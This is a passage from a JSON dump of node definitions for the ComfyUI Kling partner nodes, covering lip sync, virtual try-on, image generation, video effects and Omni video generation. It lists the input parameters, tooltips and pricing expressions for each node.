"\u5520\u53e8\u7237\u7237", "\u5520\u53e8\u5976\u5976", "\u548c\u853c\u5976\u5976", "\u4e1c\u5317\u8001\u94c1", "\u91cd\u5e86\u5c0f\u4f19", "\u56db\u5ddd\u59b9\u5b50", "\u6f6e\u6c55\u5927\u53d4", "\u53f0\u6e7e\u7537\u751f", "\u897f\u5b89\u638c\u67dc", "\u5929\u6d25\u59d0\u59d0", "\u65b0\u95fb\u64ad\u62a5\u7537", "\u8bd1\u5236\u7247\u7537", "\u6492\u5a07\u5973\u53cb", "\u5200\u7247\u70df\u55d3", "\u4e56\u5de7\u6b63\u592a"]}], "voice_speed": ["FLOAT", {"tooltip": "Speech Rate. Valid range: 0.8~2.0, accurate to one decimal place.", "advanced": true, "default": 1, "min": 0.8, "max": 2.0, "display": "slider"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "text", "voice", "voice_speed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingLipSyncTextToVideoNode", "display_name": "Kling Lip Sync Video with Text", "description": "Kling Lip Sync Text to Video Node. Syncs mouth movements in a video file to a text prompt. The video file should not be larger than 100MB, should have height/width between 720px and 1920px, and should be between 2s and 10s in length.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.1,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingVirtualTryOnNode": {"input": {"required": {"human_image": ["IMAGE", {}], "cloth_image": ["IMAGE", {}], "model_name": ["COMBO", {"default": "kolors-virtual-try-on-v1", "multiselect": false, "options": ["kolors-virtual-try-on-v1", "kolors-virtual-try-on-v1-5"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["human_image", "cloth_image", "model_name"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingVirtualTryOnNode", "display_name": "Kling Virtual Try On", "description": "Kling Virtual Try On Node. Input a human image and a cloth image to try on the cloth on the human. You can merge multiple clothing item pictures into one image with a white background.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/image/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.7}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingImageGenerationNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "image_type": ["COMBO", {"advanced": true, "multiselect": false, "options": ["subject", "face"]}], "image_fidelity": ["FLOAT", {"tooltip": "Reference intensity for user-uploaded images", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "human_fidelity": ["FLOAT", {"tooltip": "Subject reference similarity", "advanced": true, "default": 0.45, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3", "kling-v2", "kling-v1-5"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "3:2", "2:3", "21:9"]}], "n": ["INT", {"tooltip": "Number of generated images", "default": 1, "min": 1, "max": 9}]}, "optional": {"image": ["IMAGE", {}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "image_type", "image_fidelity", "human_fidelity", "model_name", "aspect_ratio", "n"], "optional": ["image", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingImageGenerationNode", "display_name": "Kling 3.0 Image", "description": "Kling Image Generation Node. Generate an image from a text prompt with an optional reference image.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/image/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_name", "type": "COMBO"}, {"name": "n", "type": "INT"}], "inputs": ["image"], "input_groups": []}, "expr": "\n (\n $m := widgets.model_name;\n $base :=\n $contains($m,\"kling-v1-5\")\n ? (inputs.image.connected ? 0.028 : 0.014)\n : $contains($m,\"kling-v3\") ? 0.028 : 0.014;\n {\"type\":\"usd\",\"usd\": $base * widgets.n}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingSingleImageVideoEffectNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": " Reference Image. URL or Base64 encoded string (without data:image prefix). File size cannot exceed 10MB, resolution not less than 300*300px, aspect ratio between 1:2.5 ~ 2.5:1"}], "effect_scene": ["COMBO", {"multiselect": false, "options": ["bloombloom", "dizzydizzy", "fuzzyfuzzy", "squish", "expansion"]}], "model_name": ["COMBO", {"multiselect": false, "options": ["kling-v1-6"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5", "10"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "effect_scene", "model_name", "duration"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingSingleImageVideoEffectNode", "display_name": "Kling Video Effects", "description": "Achieve different special effects when generating a video based on the effect_scene.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "effect_scene", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n ($contains(widgets.effect_scene,\"dizzydizzy\") or $contains(widgets.effect_scene,\"bloombloom\"))\n ? {\"type\":\"usd\",\"usd\":0.49}\n : {\"type\":\"usd\",\"usd\":0.28}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingDualCharacterVideoEffectNode": {"input": {"required": {"image_left": ["IMAGE", {"tooltip": "Left side image"}], "image_right": ["IMAGE", {"tooltip": "Right side image"}], "effect_scene": ["COMBO", {"multiselect": false, "options": ["hug", "kiss", "heart_gesture"]}], "model_name": ["COMBO", {"default": "kling-v1", "multiselect": false, "options": ["kling-v1", "kling-v1-5", "kling-v1-6"]}], "mode": ["COMBO", {"default": "std", "multiselect": false, "options": ["std", "pro"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5", "10"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image_left", "image_right", "effect_scene", "model_name", "mode", "duration"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "duration"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "KlingDualCharacterVideoEffectNode", "display_name": "Kling Dual Character Video Effects", "description": "Achieve different special effects when generating a video based on the effect_scene. First image will be positioned on left side, second on right side of the composite.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := widgets.mode;\n $model := widgets.model_name;\n $dur := widgets.duration;\n ($contains($model,\"v1-6\") or $contains($model,\"v1-5\"))\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($model,\"v1\")\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProTextToVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions. Ignored when storyboards are enabled.", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}]}, "optional": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "storyboards": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations. Ignored for o1 model.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "aspect_ratio", "duration"], "optional": ["resolution", "storyboards", "generate_audio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProTextToVideoNode", "display_name": "Kling 3.0 Omni Text to Video", "description": "Use text prompts to generate videos with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := widgets.resolution;\n $mode := $res = \"4k\" ? \"4k\" : ($res = \"720p\" ? \"std\" : \"pro\");\n $isV3 := $contains(widgets.model_name, \"v3\");\n $audio := $isV3 and widgets.generate_audio;\n $rates := $audio\n ? {\"std\": 0.112, \"pro\": 0.14, \"4k\": 0.42}\n : {\"std\": 0.084, \"pro\": 0.112, \"4k\": 0.42};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProFirstLastFrameNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions. Ignored when storyboards are enabled.", "multiline": true}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}], "first_frame": ["IMAGE", {}]}, "optional": {"end_frame": ["IMAGE", {"tooltip": "An optional end frame for the video. This cannot be used simultaneously with 'reference_images'. Does not work with storyboards."}], "reference_images": ["IMAGE", {"tooltip": "Up to 6 additional reference images."}], "resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "storyboards": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations. Only supported for kling-v3-omni.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video. Only supported for kling-v3-omni.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "duration", "first_frame"], "optional": ["end_frame", "reference_images", "resolution", "storyboards", "generate_audio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProFirstLastFrameNode", "display_name": "Kling 3.0 Omni First-Last-Frame to Video", "description": "Use a start frame, an optional end frame, or reference images with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := widgets.resolution;\n $mode := $res = \"4k\" ? \"4k\" : ($res = \"720p\" ? \"std\" : \"pro\");\n $isV3 := $contains(widgets.model_name, \"v3\");\n $audio := $isV3 and widgets.generate_audio;\n $rates := $audio\n ? {\"std\": 0.112, \"pro\": 0.14, \"4k\": 0.42}\n : {\"std\": 0.084, \"pro\": 0.112, \"4k\": 0.42};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProImageToVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions. Ignored when storyboards are enabled.", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}], "reference_images": ["IMAGE", {"tooltip": "Up to 7 reference images."}]}, "optional": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "storyboards": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations. Only supported for kling-v3-omni.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], 